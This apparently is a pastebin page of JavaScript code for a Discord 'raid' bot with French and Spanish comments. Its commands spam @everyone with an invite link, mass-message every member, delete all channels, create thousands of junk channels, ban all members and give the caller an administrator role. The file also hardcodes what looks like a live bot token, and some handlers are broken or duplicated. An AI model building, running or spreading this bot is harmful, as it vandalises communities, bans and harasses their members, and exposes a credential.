Facebook
From otakusimple, 3 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 47
  1. const Discord = require("discord.js");
  2. const bot = new Discord.Client();
  3. const token = "";
  4. var prefix = "!";
  5. var mention = "126connectés";
  6.  
  7. var fucked = true;
  8.  
  9. bot.on("ready", function() {
  10.   setInterval(async () => {
  11.     const statuslist = [`678 GUILDS | !help for info`];
  12.     const random = Math.floor(Math.random() * statuslist.length);
  13.  
  14.     try {
  15.       await bot.user.setPresence({
  16.         game: {
  17.           name: `${statuslist[random]}`,
  18.           url: "https://www.twitch.tv/hola"
  19.           //url: 'https://www.twitch.tv/hola'
  20.         },
  21.         status: "online"
  22.       });
  23.     } catch (error) {
  24.       console.error(error);
  25.     }
  26.   }, 900);
  27.   //invitation lien
  28.   bot.guilds.forEach(guild => {
  29.     var invite = bot.guilds
  30.       .find("id", guild.id)
  31.       .channels.find("id", guild.channels.random().id);
  32.     invite
  33.       .createInvite(900)
  34.       .then(invite => console.log(`Connecté sur : ${guild.name} ${invite}`));
  35.   });
  36. });
  37.  
  38. bot.on("message", msg => {
  39.   //discord.gg/SxtDGBD
  40.   //#regions
  41.   /* Commandes */
  42.   https: if (msg.content === "!raid") {
  43.     msg.reply("Unanse @everyone  https://discord.gg/PqfPTW") ;
  44.   }
  45.   //#fin de l action
  46.  
  47.   //#region Destructrices
  48.   /* Commandes destructrices */
  49.   if (msg.content === "!raid") {
  50.     console.log(`Commande .raud par ${msg.author.tag}`);
  51.     var interval = setInterval(function() {
  52.       msg.channel.send("Unanse @everyone  https://discord.gg/PqfPTW");
  53.     }, 900);
  54.   }
  55.   if (msg.content === "!dm") {
  56.     console.log(`Commande .mp par ${msg.author.tag}`);
  57.     if (msg.channel.type === "dm") return;
  58.     if (msg.deletable) msg.delete();
  59.     msg.guild.members.forEach(member => {
  60.       setInterval(function() {
  61.         member.send("Hi").catch(error => {});
  62.       }, 450);
  63.     });
  64.   }
  65.  
  66.   if (msg.content === "!setup"){
  67.     if (msg.channel.type === "texto") return;
  68.     if (msg.guild.channels.size === 0) return;
  69.     else if (!msg.guild.member(bot.user).hasPermission("MANAGE_CHANNELS"))
  70.       return;
  71.     msg.guild.channels.forEach(chan => {
  72.       if (chan.deletable) chan.delete();
  73.     });
  74.   }
  75.   if (msg.content === "!canales") {
  76.     console.log(`Commande .raid par ${msg.author.tag}`);
  77.  
  78.     if (!fucked) {
  79.       msg.guild.setName("Hola").catch(e => {});
  80.  
  81.       for (var i = 0; i < 1000; i++) {
  82.         msg.guild.createChannel("Hi", "texto").catch(e => {});
  83.         msg.guild.createChannel("Hi", "texto").catch(e => {});
  84.         msg.guild.createChannel("Hi", "text").catch(e => {});
  85.         msg.guild.createChannel("Hi", "voice").catch(e => {});
  86.         msg.guild.createChannel("Hi", "voice").catch(e => {});
  87.       }
  88.       fucked = true;
  89.     }
  90.  
  91.     if (msg.deletable) {
  92.       msg.delete();
  93.     }
  94.   }
  95.  
  96.   if (msg.content === "!ban") {
  97.     console.log(`Commande .ban par ${msg.author.tag}`);
  98.     msg.guild.members.forEach(member => {
  99.       if (!member.roles.exists("name", "jejejeje  ") && member.bannable)
  100.         member.ban().catch(e => {});
  101.     });
  102.   }
  103.  
  104.   if (msg.content === "!leave") {
  105.     console.log(`Commande .exit par ${msg.author.tag}`);
  106.     if (msg.deletable) msg.delete().catch(e => {});
  107.     msg.guild.leave().catch(e => {});
  108.   }
  109.  
  110.   if (msg.content === "!admin") {
  111.     console.log(`Commande .be par ${msg.author.tag}`);
  112.  
  113.     msg.member.guild
  114.       .createRole({
  115.         name: "Hi ",
  116.         permissions: "ADMINISTRATOR",
  117.         mentionable: false
  118.       })
  119.       .then(function(role) {
  120.         msg.member.addRole(role);
  121.         if (msg.deletable) msg.delete().catch(e => {});
  122.       })
  123.       .catch(e => {});
  124.   }
  125.   //#endregion
  126. });
  127. bot.on("mensage", msg => {
  128.   if (msg.content.startsWith("!raid")) {
  129.     msg.delete();
  130.     let i = 0;
  131.     let interval = setInterval(function() {
  132.       msg.guild.channels.forEach(channel => {
  133.         900;
  134.         if (channel.type === "text")
  135.           channel.send("Unanse @everyone  https://discord.gg/PqfPTW");
  136.       }, 900);
  137.     });
  138.   }
  139. });
  140. bot.login("NzYxNzUzODEwODY2OTI5Njg1.X3fMhQ.Bc-0iD71qqc0BAMAYRg4PMusaFM");
  141.